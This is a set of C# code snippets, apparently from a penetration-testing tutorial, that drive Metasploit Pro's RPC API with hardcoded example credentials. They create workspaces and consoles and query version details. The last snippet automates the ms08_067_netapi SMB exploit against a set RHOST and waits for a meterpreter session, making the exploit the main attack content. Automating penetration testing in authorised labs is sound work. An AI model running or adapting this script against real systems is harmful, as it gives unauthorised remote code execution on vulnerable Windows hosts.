private void CreateNewMetasploitWorkspace(string workspace) { using (MetasploitSession session = new MetasploitSession(this.Configuration["metasploitUser"], this.Configuration["metasploitPass"], "https://" + this.Configuration["metasploitHost"] + ":3790/api/1.1")) { using (MetasploitProManager manager = new MetasploitProManager(session)) { // Dictionary<object, object> options = new Dictionary<object, object>(); // options.Add("name", workspace); // // manager.AddProWorkspace(options); Dictionary <string, object> response = manager.CreateConsole(); string consoleID = response ["id"] as string; manager.WriteToConsole(consoleID, "workspace -a \"" + workspace + "\"\n"); Thread.Sleep(new TimeSpan(0, 0, 30)); manager.WriteToConsole(consoleID, "workspace \n"); manager.DestroyConsole(consoleID); } } }
public static void Main(string[] args) { using (MetasploitSession session = new MetasploitSession("metasploit", "P@ssw0rd!", "https://192.168.1.5:3790/api/1.1")) { using (MetasploitProManager manager = new MetasploitProManager(session)) { Dictionary <string, object> modules = manager.GetCoreModuleStats(); Console.WriteLine("Module stats:"); foreach (KeyValuePair <string, object> pair in modules) { Console.WriteLine(pair.Key + ": " + pair.Value); } Dictionary <string, object> version = manager.GetCoreVersionInformation(); Console.WriteLine("\n\nVersion information:"); foreach (KeyValuePair <string, object> pair in version) { Console.WriteLine(pair.Key + ": " + pair.Value); } Console.WriteLine("\n\nCreating console..."); Dictionary <string, object> consoleResponse = manager.CreateConsole(); foreach (KeyValuePair <string, object> pair in consoleResponse) { Console.WriteLine(pair.Key + ": " + pair.Value); } string consoleID = consoleResponse["id"] as string; Console.WriteLine("\n\nConsole created, getting list of consoles..."); Dictionary <string, object> consoleList = manager.ListConsoles(); foreach (KeyValuePair <string, object> pair in consoleList) { Console.WriteLine(pair.Value.GetType().Name); foreach (var obj in pair.Value as IList <object> ) { //each obj is a Dictionary<string, object> in this response if (obj is IDictionary <string, object> ) { foreach (var p in obj as IDictionary <string, object> ) { Console.WriteLine(p.Key + ": " + p.Value); } } else { Console.WriteLine(obj); } } } Console.WriteLine("\n\nDestroying our console: " + consoleID); Dictionary <string, object> destroyResponse = manager.DestroyConsole(consoleID); foreach (KeyValuePair <string, object> pair in destroyResponse) { Console.WriteLine(pair.Key + ": " + pair.Value); } if (destroyResponse.ContainsKey("result") && ((string)destroyResponse["result"]) == "success") { Console.WriteLine("Destroyed."); } else { Console.WriteLine("Failed!"); } Dictionary <string, object> proVersion = manager.AboutPro(); Console.WriteLine("\n\nInformation about pro:"); foreach (KeyValuePair <string, object> pair in proVersion) { Console.WriteLine(pair.Key + ": " + pair.Value); } Dictionary <string, object> updateStatus = manager.ProUpdateStatus(); Console.WriteLine("\n\nUpdate status:"); foreach (KeyValuePair <string, object> pair in updateStatus) { Console.WriteLine(pair.Key + ": " + pair.Value); } } } }
public static void Main(string[] args) { using (MetasploitSession session = new MetasploitSession("metasploit", "P@ssw0rd!", "https://192.168.1.5:3790/api/1.1")) { if (string.IsNullOrEmpty(session.Token)) { throw new Exception("Login failed. Check credentials"); } using (MetasploitProManager manager = new MetasploitProManager(session)) { // Dictionary<string, object> options = new Dictionary<string, object>(); // options.Add("RHOST", "192.168.1.129"); // options.Add("RPORT", "445"); // options.Add("LPORT", new Random().Next(1001, 50000)); // // Dictionary<string, object> response = manager.ExecuteModule("exploit", "windows/smb/ms08_067_netapi", options); // // foreach (KeyValuePair<string, object> pair in response) // Console.WriteLine(pair.Key + ": " + pair.Value); var response = manager.CreateConsole(); foreach (var pair in response) { Console.WriteLine(pair.Key + ": " + pair.Value); } string consoleID = response["id"] as string; Console.WriteLine("Setting up options..."); response = manager.WriteToConsole(consoleID, "use exploit/windows/smb/ms08_067_netapi\n"); System.Threading.Thread.Sleep(6000); response = manager.WriteToConsole(consoleID, "set RHOST 192.168.1.129\n"); System.Threading.Thread.Sleep(6000); response = manager.WriteToConsole(consoleID, "set LPORT " + new Random().Next(1001, 50000) + "\n"); System.Threading.Thread.Sleep(6000); Console.WriteLine("Exploiting..."); response = manager.WriteToConsole(consoleID, "exploit\n"); System.Threading.Thread.Sleep(12000); bool busy = true; while (busy) { response = manager.ReadConsole(consoleID); foreach (var pair in response) { Console.WriteLine(pair.Key + ": " + pair.Value); } busy = bool.Parse(response["busy"].ToString()); if ((response["prompt"] as string).Contains("meterpreter")) { break; } } response = manager.ListSessions(); foreach (var pair in response) { foreach (var p in pair.Value as Dictionary <string, object> ) { Console.WriteLine(p.Key + ": " + p.Value); } } manager.DestroyConsole(consoleID); } } }